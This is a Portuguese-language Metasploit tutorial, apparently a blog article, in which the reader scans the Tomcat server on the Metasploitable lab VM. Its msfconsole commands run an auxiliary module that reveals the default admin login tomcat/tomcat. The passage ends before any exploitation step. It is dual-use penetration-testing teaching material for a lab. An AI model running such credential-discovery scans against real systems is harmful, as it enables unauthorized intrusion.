Introdução
De acordo com o diretor de segurança (CSO) da Rapid7 e criador do
Metasploit Project, HD Moore:
"A melhor maneira de lidar com os crescentes desafios de segurança de informação é compartilhar conhecimento entre profissionais, projetos em código aberto e
fornecedores comerciais."
Para que esta analogia não ficasse apenas em teoria, os próprios desenvolvedores do Metasploit criaram o projeto Metasploitable, uma máquina virtual com diversos
softwares vulneráveis, como o TikiWiki, SSH, MySql, entre outros.
Reiterando, o artigo foi criado para fins éticos, e tem a função de demonstrar (para aqueles que estão iniciando) um pedaço do "poder de fogo" do Metasploit Framework.
Para tal, iremos explorar vulnerabilidades na aplicação Tomcat (servidor de aplicações JEE) presente no Metasploitable.
O Cenário:
Obs.1: Para "rodar" o Metasploitable (que está em VMDK) no VirtualBox, basta entrar na opção 'Sistema', e habilitar a opção 'IO APIC'.
Obs.2: Os testes serão realizados visando a agregação de conhecimento em uma falha já existente, e não a exploração de uma falha '0day'.
Levantando informações
Para que tenhamos êxito na identificação e exploração da vulnerabilidade, o primeiro passo será atualizar o Metasploit:
# msfupdate
Feito isto, iniciaremos o Metasploit no modo console (linha de comando):
# msfconsole
Com o Metasploit iniciado, iremos procurar e utilizar algum módulo auxiliar que se responsabilize pelo fingerprint da aplicação:
msf >
search tomcat
Saída do comando:
auxiliary/admin/http/tomcat_administration normal Tomcat Administration Tool Default Access
(Este módulo é utilizado para detectar informações na interface de administração do Tomcat.)
msf >
use auxiliary/admin/http/tomcat_administration
Quais opções este módulo auxiliar oferece? Simples, basta utilizar o comando 'show options':
msf auxiliary(tomcat_administration) >
show options
Perceba que as opções requeridas já estão habilitadas por padrão, exceto a opção RHOTS, que indica o IP da máquina que hospeda o Tomcat (192.168.200.66). Vamos
setar esta opção:
msf auxiliary(tomcat_administration) >
set RHOSTS 192.168.200.66
Feito isto, basta executar o módulo:
msf auxiliary(tomcat_administration) >
run
Saída do comando:
[*] http://192.168.200.66:8180/admin [Apache-Coyote/1.1] [Apache Tomcat/5.5] [Tomcat Server Administration] [tomcat/tomcat]
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Analisando a saída do comando, percebemos que o Tomcat está "rodando" na porta 8180, e no fim da mesma linha entre colchetes "[ ]", informa o usuário e senha da
interface administrativa; informação no qual, vai ser de grande utilidade em meio à exploração!